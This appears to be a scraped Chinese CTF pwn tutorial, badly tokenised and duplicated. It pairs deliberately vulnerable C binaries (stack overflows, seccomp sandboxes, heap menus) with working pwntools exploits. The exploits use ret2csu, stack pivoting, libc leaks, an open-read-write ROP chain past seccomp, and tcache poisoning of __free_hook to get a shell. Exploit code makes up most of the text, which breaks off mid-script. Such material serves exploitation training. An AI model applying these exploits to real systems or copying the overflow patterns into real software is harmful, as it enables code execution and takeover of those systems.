ret_csu(r12, r13, r14, r15, last):
payload
=
'/bin/sh\x00'
payload
+
=
p64(csu_one)
payload
+
=
p64(
0
)
+
p64(
1
)
payload
+
=
p64(r12)
payload
+
=
p64(r15)
+
p64(r14)
+
p64(r13)
payload
+
=
p64(csu_two)
payload
+
=
p64(last)
return
payload
ab
=
ret_csu(bss
+
72
,
0
,
0
,bss,syscall)
r.send(ab)
r.recv()
payload
=
'a'
*
0x20
+
p64(bss)
+
p64(leave)
r.send(payload.ljust(
0x3b
,
'a'
))
r.interactive()
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
char
buf[32];
vul(0LL, 0LL, 0LL);
read(0, buf, 0x100uLL);
return
0;
}
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
char
buf[32];
vul(0LL, 0LL, 0LL);
read(0, buf, 0x100uLL);
return
0;
}
from
pwn
import
*
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
sh
=
process(
"easycsu"
)
context.log_level
=
"DEBUG"
gadget1
=
0x00000000004011FE
gadget2
=
0x00000000004011E8
put_addr
=
0x0000000000404018
libc_addr
=
0x0000000000403ff0
start_addr
=
0x0000000000401050
payload
=
(
0x20
+
8
)
*
'a'
payload
+
=
p64(gadget1)
payload
+
=
'a'
*
8
payload
+
=
p64(
0
)
payload
+
=
p64(
1
)
payload
+
=
p64(put_addr)
payload
+
=
p64(
0x0000000000404018
)
+
p64(
0x0000000000404018
)
+
p64(
0x0000000000404018
)
payload
+
=
p64(gadget2)
payload
+
=
'a'
*
56
payload
+
=
p64(start_addr)
sh.recv()
sh.send(payload)
real_addr
=
u64(sh.recv(
6
).ljust(
8
,
'\x00'
))
print
hex
(real_addr)
addr_base
=
real_addr
-
libc.sym[
'puts'
]
print
(
hex
(libc.sym[
'puts'
]))
system_addr
=
addr_base
+
libc.sym[
'system'
]
binsh_addr
=
addr_base
+
0x1b3e1a
one
=
0x4f3d5
+
addr_base
pop_addr
=
0x000000000040120b
sh.recv()
payload
=
(
0x20
+
8
)
*
'a'
+
p64(one)
sh.send(payload)
sh.sendline(
'cat flag'
)
sh.interactive()
from
pwn
import
*
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
sh
=
process(
"easycsu"
)
context.log_level
=
"DEBUG"
gadget1
=
0x00000000004011FE
gadget2
=
0x00000000004011E8
put_addr
=
0x0000000000404018
libc_addr
=
0x0000000000403ff0
start_addr
=
0x0000000000401050
payload
=
(
0x20
+
8
)
*
'a'
payload
+
=
p64(gadget1)
payload
+
=
'a'
*
8
payload
+
=
p64(
0
)
payload
+
=
p64(
1
)
payload
+
=
p64(put_addr)
payload
+
=
p64(
0x0000000000404018
)
+
p64(
0x0000000000404018
)
+
p64(
0x0000000000404018
)
payload
+
=
p64(gadget2)
payload
+
=
'a'
*
56
payload
+
=
p64(start_addr)
sh.recv()
sh.send(payload)
real_addr
=
u64(sh.recv(
6
).ljust(
8
,
'\x00'
))
print
hex
(real_addr)
addr_base
=
real_addr
-
libc.sym[
'puts'
]
print
(
hex
(libc.sym[
'puts'
]))
system_addr
=
addr_base
+
libc.sym[
'system'
]
binsh_addr
=
addr_base
+
0x1b3e1a
one
=
0x4f3d5
+
addr_base
pop_addr
=
0x000000000040120b
sh.recv()
payload
=
(
0x20
+
8
)
*
'a'
+
p64(one)
sh.send(payload)
sh.sendline(
'cat flag'
)
sh.interactive()
#include<stdio.h>
char
pwnme[0x100];
void
main(){
char
buf[0x20];
puts
(
"hello!"
);
read(0,pwnme,0x100);
puts
(
"wuhu"
);
read(0,buf,0x30);
}
#include<stdio.h>
char
pwnme[0x100];
void
main(){
char
buf[0x20];
puts
(
"hello!"
);
read(0,pwnme,0x100);
puts
(
"wuhu"
);
read(0,buf,0x30);
}
第一次栈迁移进行RBP修改让下次输入指向我们想要的地方
第二次栈迁移修改RSP让程序正常
第三次正常rop构造
第四次等同第一次
第五次getshell rop链
第一次栈迁移进行RBP修改让下次输入指向我们想要的地方
第二次栈迁移修改RSP让程序正常
第三次正常rop构造
第四次等同第一次
第五次getshell rop链
#include<stdio.h>
void
main()
{
char
buf[0x20];
puts
(
"只能写一点点"
);
read(0,buf,0x30);
}
#include<stdio.h>
void
main()
{
char
buf[0x20];
puts
(
"只能写一点点"
);
read(0,buf,0x30);
}
from
pwn
import
*
r
=
process(
'./alittle'
)
elf
=
ELF(
'./alittle'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
bss
=
0x601000
+
0x600
rdi
=
0x00000000004005d3
leave
=
0x40054B
ret
=
0x400568
r.recv()
pay
=
'a'
*
0x20
+
p64(bss)
+
p64(leave)
gdb.attach(r)
r.send(pay)
raw_input
()
gdb.attach(r)
pay1
=
'a'
*
0x20
+
p64(bss
+
0x20
)
+
p64(leave)
r.send(pay1)
raw_input
()
pay2
=
p64(bss
+
0x30
)
+
p64(rdi)
+
p64(elf.got[
'puts'
])
+
p64(elf.plt[
'puts'
])
+
p64(
0x400537
)
gdb.attach(r)
r.send(pay2)
raw_input
()
leak
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
base
=
leak
-
libc.sym[
'puts'
]
print
(
hex
(base))
sys
=
base
+
libc.sym[
'system'
]
sh
=
base
+
0x1b3e1a
pay3
=
'a'
*
0x20
+
p64(bss
+
0x40
)
+
p64(leave)
gdb.attach(r)
r.send(pay3)
raw_input
()
pay4
=
p64(
0
)
+
p64(rdi)
+
p64(sh)
+
p64(ret)
+
p64(sys)
r.send(pay4)
r.interactive()
from
pwn
import
*
r
=
process(
'./alittle'
)
elf
=
ELF(
'./alittle'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
bss
=
0x601000
+
0x600
rdi
=
0x00000000004005d3
leave
=
0x40054B
ret
=
0x400568
r.recv()
pay
=
'a'
*
0x20
+
p64(bss)
+
p64(leave)
gdb.attach(r)
r.send(pay)
raw_input
()
gdb.attach(r)
pay1
=
'a'
*
0x20
+
p64(bss
+
0x20
)
+
p64(leave)
r.send(pay1)
raw_input
()
pay2
=
p64(bss
+
0x30
)
+
p64(rdi)
+
p64(elf.got[
'puts'
])
+
p64(elf.plt[
'puts'
])
+
p64(
0x400537
)
gdb.attach(r)
r.send(pay2)
raw_input
()
leak
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
base
=
leak
-
libc.sym[
'puts'
]
print
(
hex
(base))
sys
=
base
+
libc.sym[
'system'
]
sh
=
base
+
0x1b3e1a
pay3
=
'a'
*
0x20
+
p64(bss
+
0x40
)
+
p64(leave)
gdb.attach(r)
r.send(pay3)
raw_input
()
pay4
=
p64(
0
)
+
p64(rdi)
+
p64(sh)
+
p64(ret)
+
p64(sys)
r.send(pay4)
r.interactive()
第一次构造个read在我们要的bss段上写入flag字符串
第二次的rop如同下面的exp那样构造orp
第一次构造个read在我们要的bss段上写入flag字符串
第二次的rop如同下面的exp那样构造orp
安装流程:
sudo apt install gcc ruby
-
dev
gem install seccomp
-
tools
使用方法
seccomp
-
tools dump .
/
xxx
安装流程:
sudo apt install gcc ruby
-
dev
gem install seccomp
-
tools
使用方法
seccomp
-
tools dump .
/
xxx
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>
#include<linux/bpf.h>
#include<sys/types.h>
void
init()
{
setbuf
(stdin, 0LL);
setbuf
(stdout, 0LL);
setbuf
(stderr, 0LL);
}
void
sandbox(){
struct
sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct
sock_fprog prog = {
.len = (unsigned
short
)(
sizeof
(filter)/
sizeof
(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void
main()
{
init();
sandbox();
char
buf[0x48];
printf
(
"%s\n"
,
"Today is a good day no right man?"
);
read(0,buf,0x100);
}
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>
#include<linux/bpf.h>
#include<sys/types.h>
void
init()
{
setbuf
(stdin, 0LL);
setbuf
(stdout, 0LL);
setbuf
(stderr, 0LL);
}
void
sandbox(){
struct
sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct
sock_fprog prog = {
.len = (unsigned
short
)(
sizeof
(filter)/
sizeof
(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void
main()
{
init();
sandbox();
char
buf[0x48];
printf
(
"%s\n"
,
"Today is a good day no right man?"
);
read(0,buf,0x100);
}
from
pwn
import
*
r
=
process(
'./good'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
elf
=
ELF(
'./good'
)
context.log_level
=
'debug'
rdi
=
0x0000000000400843
rsi
=
0x0000000000400841
r.recv()
pay
=
'a'
*
0x58
+
p64(rdi)
+
p64(elf.got[
'puts'
])
+
p64(elf.plt[
'puts'
])
+
p64(
0x0400790
)
r.sendline(pay)
leak
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
print
(
hex
(leak))
libc_base
=
leak
-
libc.sym[
'puts'
]
print
(
hex
(libc_base))
r.recv()
pay3
=
'a'
*
0x58
+
p64(rdi)
+
p64(
0
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0x40
)
+
p64(libc_base
+
libc.sym[
'read'
])
+
p64(
0x0400790
)
r.send(pay3)
r.send(
'flag'
)
r.recv()
pay1
=
'a'
*
0x58
+
p64(rdi)
+
p64(
0x2
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0
)
+
p64(libc_base
+
libc.sym[
'syscall'
])
pay1
+
=
p64(rdi)
+
p64(
3
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0x100
)
+
p64(libc_base
+
libc.sym[
'read'
])
pay1
+
=
p64(rdi)
+
p64(
0x601200
)
+
p64(libc_base
+
libc.sym[
'puts'
])
+
p64(
0x0400790
)
r.send(pay1)
print
(r.recvuntil(
"}"
))
from
pwn
import
*
r
=
process(
'./good'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
elf
=
ELF(
'./good'
)
context.log_level
=
'debug'
rdi
=
0x0000000000400843
rsi
=
0x0000000000400841
r.recv()
pay
=
'a'
*
0x58
+
p64(rdi)
+
p64(elf.got[
'puts'
])
+
p64(elf.plt[
'puts'
])
+
p64(
0x0400790
)
r.sendline(pay)
leak
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
print
(
hex
(leak))
libc_base
=
leak
-
libc.sym[
'puts'
]
print
(
hex
(libc_base))
r.recv()
pay3
=
'a'
*
0x58
+
p64(rdi)
+
p64(
0
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0x40
)
+
p64(libc_base
+
libc.sym[
'read'
])
+
p64(
0x0400790
)
r.send(pay3)
r.send(
'flag'
)
r.recv()
pay1
=
'a'
*
0x58
+
p64(rdi)
+
p64(
0x2
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0
)
+
p64(libc_base
+
libc.sym[
'syscall'
])
pay1
+
=
p64(rdi)
+
p64(
3
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0x100
)
+
p64(libc_base
+
libc.sym[
'read'
])
pay1
+
=
p64(rdi)
+
p64(
0x601200
)
+
p64(libc_base
+
libc.sym[
'puts'
])
+
p64(
0x0400790
)
r.send(pay1)
print
(r.recvuntil(
"}"
))
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>
#include<linux/bpf.h>
#include<sys/types.h>
void
init()
{
setbuf
(stdin, 0LL);
setbuf
(stdout, 0LL);
setbuf
(stderr, 0LL);
}
void
sandbox(){
struct
sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct
sock_fprog prog = {
.len = (unsigned
short
)(
sizeof
(filter)/
sizeof
(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void
main()
{
sandbox();
char
buf[0x100];
puts
(
"只能写一点点"
);
read(0,buf,0x110);
}
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>
#include<linux/bpf.h>
#include<sys/types.h>
void
init()
{
setbuf
(stdin, 0LL);
setbuf
(stdout, 0LL);
setbuf
(stderr, 0LL);
}
void
sandbox(){
struct
sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct
sock_fprog prog = {
.len = (unsigned
short
)(
sizeof
(filter)/
sizeof
(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void
main()
{
sandbox();
char
buf[0x100];
puts
(
"只能写一点点"
);
read(0,buf,0x110);
}
from
pwn
import
*
r
=
process(
'./alittle-up'
)
elf
=
ELF(
'./alittle-up'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
context.log_level
=
'debug'
bss
=
0x601000
+
0x400
rdi
=
0x0000000000400833
leave
=
0x4007B1ret
=
0x4007CC
rsi
=
0x0000000000400831
r.recv()
pay
=
'a'
*
0x100
+
p64(bss)
+
p64(leave)r.send(pay)pay1
=
'a'
*
0x100
+
p64(bss
+
0x100
)
+
p64(leave)r.send(pay1)
pay2
=
p64(bss
+
0x110
)
+
p64(rdi)
+
p64(elf.got[
'puts'
])
+
p64(elf.plt[
'puts'
])
+
p64(
0x400790
)
r.send(pay2)
leak
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
base
=
leak
-
libc.sym[
'puts'
]
print
(
hex
(base))
pay3
=
'a'
*
0x100
+
p64(bss
+
0x120
)
+
p64(leave)r.send(pay3)
pay5
=
p64(bss
+
0x130
)
+
p64(rdi)
+
p64(
0
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0x40
)
+
p64(base
+
libc.sym[
'read'
])
+
p64(
0x400790
)
r.send(pay5)
r.send(
"flag"
)
pay6
=
'a'
*
0x100
+
p64(bss
+
0x300
)
+
p64(leave)
r.send(pay6)
pay1
=
'a'
*
0x100
+
p64(bss
+
0x400
)
+
p64(leave)r.send(pay1)
pay8
=
p64(
0
)
+
p64(rdi)
+
p64(
0x2
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0
)
+
p64(base
+
libc.sym[
'syscall'
])
pay8
+
=
p64(rdi)
+
p64(
3
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0x100
)
+
p64(base
+
libc.sym[
'read'
])
pay8
+
=
p64(rdi)
+
p64(
0x601200
)
+
p64(base
+
libc.sym[
'puts'
])
+
p64(
0x400790
)
r.send(pay8)
r.interactive()
from
pwn
import
*
r
=
process(
'./alittle-up'
)
elf
=
ELF(
'./alittle-up'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
context.log_level
=
'debug'
bss
=
0x601000
+
0x400
rdi
=
0x0000000000400833
leave
=
0x4007B1ret
=
0x4007CC
rsi
=
0x0000000000400831
r.recv()
pay
=
'a'
*
0x100
+
p64(bss)
+
p64(leave)r.send(pay)pay1
=
'a'
*
0x100
+
p64(bss
+
0x100
)
+
p64(leave)r.send(pay1)
pay2
=
p64(bss
+
0x110
)
+
p64(rdi)
+
p64(elf.got[
'puts'
])
+
p64(elf.plt[
'puts'
])
+
p64(
0x400790
)
r.send(pay2)
leak
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
base
=
leak
-
libc.sym[
'puts'
]
print
(
hex
(base))
pay3
=
'a'
*
0x100
+
p64(bss
+
0x120
)
+
p64(leave)r.send(pay3)
pay5
=
p64(bss
+
0x130
)
+
p64(rdi)
+
p64(
0
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0x40
)
+
p64(base
+
libc.sym[
'read'
])
+
p64(
0x400790
)
r.send(pay5)
r.send(
"flag"
)
pay6
=
'a'
*
0x100
+
p64(bss
+
0x300
)
+
p64(leave)
r.send(pay6)
pay1
=
'a'
*
0x100
+
p64(bss
+
0x400
)
+
p64(leave)r.send(pay1)
pay8
=
p64(
0
)
+
p64(rdi)
+
p64(
0x2
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0
)
+
p64(base
+
libc.sym[
'syscall'
])
pay8
+
=
p64(rdi)
+
p64(
3
)
+
p64(rsi)
+
p64(
0x601200
)
+
p64(
0x100
)
+
p64(base
+
libc.sym[
'read'
])
pay8
+
=
p64(rdi)
+
p64(
0x601200
)
+
p64(base
+
libc.sym[
'puts'
])
+
p64(
0x400790
)
r.send(pay8)
r.interactive()
heap
bin
p &__free_hook
p
*
__free_hook
x
/
xxgx
0xxxx
vmmap
heap
bin
p &__free_hook
p
*
__free_hook
x
/
xxgx
0xxxx
vmmap
pwndbg> x
/
32gx
0x602000
0x602000
: prev_size size
0x602010
: fd bk
0x602020
: fd_next bk_next
0x602030
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
32gx
0x602000
0x602000
: prev_size size
0x602010
: fd bk
0x602020
: fd_next bk_next
0x602030
:
0x0000000000000000
0x0000000000000000
#include<stdio.h>
#include<stdlib.h>
char
*heap[0x20];
int
num=0;
void
create()
{
if
(num>=0x20)
{
puts
(
"no more"
);
return
;
}
int
size;
puts
(
"how big"
);
scanf
(
"%d"
,&size);
heap[num]=(
char
*)
malloc
(size);
num++;
}
void
show(){
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
printf
(
"Content:"
);
printf
(
"%s"
,heap[idx]);
}
}
void
dele()
{
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
free
(heap[idx]);
heap[idx]=NULL;
num--;
}
}
void
edit()
{
int
size;
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
puts
(
"how big u read"
);
scanf
(
"%d"
,&size);
puts
(
"Content:"
);
read(0,heap[idx],size);
}
}
void
menu(
void
){
puts
(
"1.create"
);
puts
(
"2.dele"
);
puts
(
"3.edit"
);
puts
(
"4.show"
);
}
void
main()
{
int
choice;
while
(1)
{
menu();
scanf
(
"%d"
,&choice);
switch
(choice)
{
case
1:create();
break
;
case
2:dele();
break
;
case
3:edit();
break
;
case
4:show();
break
;
default
:
puts
(
"error"
);
}
}
}
#include<stdio.h>
#include<stdlib.h>
char
*heap[0x20];
int
num=0;
void
create()
{
if
(num>=0x20)
{
puts
(
"no more"
);
return
;
}
int
size;
puts
(
"how big"
);
scanf
(
"%d"
,&size);
heap[num]=(
char
*)
malloc
(size);
num++;
}
void
show(){
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
printf
(
"Content:"
);
printf
(
"%s"
,heap[idx]);
}
}
void
dele()
{
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
free
(heap[idx]);
heap[idx]=NULL;
num--;
}
}
void
edit()
{
int
size;
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
puts
(
"how big u read"
);
scanf
(
"%d"
,&size);
puts
(
"Content:"
);
read(0,heap[idx],size);
}
}
void
menu(
void
){
puts
(
"1.create"
);
puts
(
"2.dele"
);
puts
(
"3.edit"
);
puts
(
"4.show"
);
}
void
main()
{
int
choice;
while
(1)
{
menu();
scanf
(
"%d"
,&choice);
switch
(choice)
{
case
1:create();
break
;
case
2:dele();
break
;
case
3:edit();
break
;
case
4:show();
break
;
default
:
puts
(
"error"
);
}
}
}
from
pwn
import
*
r
=
process(
'./ezheap'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
context.log_level
=
'debug'
def
add(size):
r.sendlineafter(
"4.show\n"
,
'1'
)
r.sendlineafter(
"how big\n"
,
str
(size))
def
dele(idx):
r.sendlineafter(
"4.show\n"
,
'2'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
def
edit(idx,size,con):
r.sendlineafter(
"4.show\n"
,
'3'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
r.sendlineafter(
"how big u read\n"
,
str
(size))
r.sendafter(
"Content:\n"
,con)
def
show(idx):
r.sendlineafter(
"4.show\n"
,
'4'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
add(
0x420
)
add(
0x420
)
add(
0x420
)
dele(
1
)
add(
0x90
)
show(
2
)
r.recvuntil(
"Content:"
)
base
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
-
0x3ec090
print
(
hex
(base))
free
=
base
+
libc.sym[
'__free_hook'
]
sys
=
base
+
libc.sym[
'system'
]
add(
0x90
)
dele(
3
)
edit(
2
,
0x666
,
'a'
*
0x90
+
p64(
0xa0
)
+
p64(
0x41
)
+
p64(free))
add(
0x90
)
add(
0x90
)
edit(
3
,
0x10
,
"/bin/sh\x00"
)
edit(
4
,
0x10
,p64(sys))
dele(
3
)
gdb.attach(r)
r.interactive()
from
pwn
import
*
r
=
process(
'./ezheap'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
context.log_level
=
'debug'
def
add(size):
r.sendlineafter(
"4.show\n"
,
'1'
)
r.sendlineafter(
"how big\n"
,
str
(size))
def
dele(idx):
r.sendlineafter(
"4.show\n"
,
'2'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
def
edit(idx,size,con):
r.sendlineafter(
"4.show\n"
,
'3'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
r.sendlineafter(
"how big u read\n"
,
str
(size))
r.sendafter(
"Content:\n"
,con)
def
show(idx):
r.sendlineafter(
"4.show\n"
,
'4'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
add(
0x420
)
add(
0x420
)
add(
0x420
)
dele(
1
)
add(
0x90
)
show(
2
)
r.recvuntil(
"Content:"
)
base
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
-
0x3ec090
print
(
hex
(base))
free
=
base
+
libc.sym[
'__free_hook'
]
sys
=
base
+
libc.sym[
'system'
]
add(
0x90
)
dele(
3
)
edit(
2
,
0x666
,
'a'
*
0x90
+
p64(
0xa0
)
+
p64(
0x41
)
+
p64(free))
add(
0x90
)
add(
0x90
)
edit(
3
,
0x10
,
"/bin/sh\x00"
)
edit(
4
,
0x10
,p64(sys))
dele(
3
)
gdb.attach(r)
r.interactive()
#include<stdio.h>
#include<stdlib.h>
char
*heap[0x20];
int
num=0;
void
create()
{
if
(num>=0x20)
{
puts
(
"no more"
);
return
;
}
int
size;
puts
(
"how big"
);
scanf
(
"%d"
,&size);
if
(size>0x80)
{
return
;
}
heap[num]=(
char
*)
malloc
(size);
num++;
}
void
show(){
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
printf
(
"Content:"
);
printf
(
"%s"
,heap[idx]);
}
}
void
dele()
{
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
free
(heap[idx]);
heap[idx]=NULL;
num--;
}
}
void
edit()
{
int
size;
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
puts
(
"how big u read"
);
scanf
(
"%d"
,&size);
puts
(
"Content:"
);
read(0,heap[idx],size);
}
}
void
menu(
void
){
puts
(
"1.create"
);
puts
(
"2.dele"
);
puts
(
"3.edit"
);
puts
(
"4.show"
);
}
void
main()
{
int
choice;
while
(1)
{
menu();
scanf
(
"%d"
,&choice);
switch
(choice)
{
case
1:create();
break
;
case
2:dele();
break
;
case
3:edit();
break
;
case
4:show();
break
;
default
:
puts
(
"error"
);
}
}
}
#include<stdio.h>
#include<stdlib.h>
char
*heap[0x20];
int
num=0;
void
create()
{
if
(num>=0x20)
{
puts
(
"no more"
);
return
;
}
int
size;
puts
(
"how big"
);
scanf
(
"%d"
,&size);
if
(size>0x80)
{
return
;
}
heap[num]=(
char
*)
malloc
(size);
num++;
}
void
show(){
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
printf
(
"Content:"
);
printf
(
"%s"
,heap[idx]);
}
}
void
dele()
{
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
free
(heap[idx]);
heap[idx]=NULL;
num--;
}
}
void
edit()
{
int
size;
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
puts
(
"how big u read"
);
scanf
(
"%d"
,&size);
puts
(
"Content:"
);
read(0,heap[idx],size);
}
}
void
menu(
void
){
puts
(
"1.create"
);
puts
(
"2.dele"
);
puts
(
"3.edit"
);
puts
(
"4.show"
);
}
void
main()
{
int
choice;
while
(1)
{
menu();
scanf
(
"%d"
,&choice);
switch
(choice)
{
case
1:create();
break
;
case
2:dele();
break
;
case
3:edit();
break
;
case
4:show();
break
;
default
:
puts
(
"error"
);
}
}
}
from
pwn
import
*
r
=
process(
'./eheap'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
context.log_level
=
'debug'
def
add(size):
r.sendlineafter(
"4.show\n"
,
'1'
)
r.sendlineafter(
"how big\n"
,
str
(size))
def
dele(idx):
r.sendlineafter(
"4.show\n"
,
'2'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
def
edit(idx,size,con):
r.sendlineafter(
"4.show\n"
,
'3'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
r.sendlineafter(
"how big u read\n"
,
str
(size))
r.sendafter(
"Content:\n"
,con)
def
show(idx):
r.sendlineafter(
"4.show\n"
,
'4'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
add(
0x78
)
add(
0x78
)
add(
0x78
)
dele(
1
)
dele(
0
)
add(
0x78
)
edit(
1
,
1
,
'1'
)
show(
1
)
r.recvuntil(
"Content:"
)
heap
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
-
0x001721
print
(
hex
(heap))
edit(
1
,
0x999
,
'a'
*
0x78
+
p64(
0x81
)
+
p64(heap))
add(
0x78
)
add(
0x78
)
pad
=
'a'
*
0x20
+
p64(
0x0000000007000000
)
edit(
3
,
0x100
,pad)
dele(
3
)
add(
0x78
)
show(
3
)
r.recvuntil(
"Content:"
)
base
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
-
0x3ebee0
print
(
hex
(base))
free
=
p64(base
+
libc.sym[
'__free_hook'
])
sys
=
p64(base
+
libc.sym[
'system'
])
dele(
2
)
edit(
1
,
0x100
,
'a'
*
0x78
+
p64(
0x81
)
+
free)
add(
0x78
)
add(
0x78
)
edit(
1
,
0x10
,
'/bin/sh\x00'
)
edit(
4
,
0x10
,sys)
dele(
1
)
r.interactive()
from
pwn
import
*
r
=
process(
'./eheap'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
context.log_level
=
'debug'
def
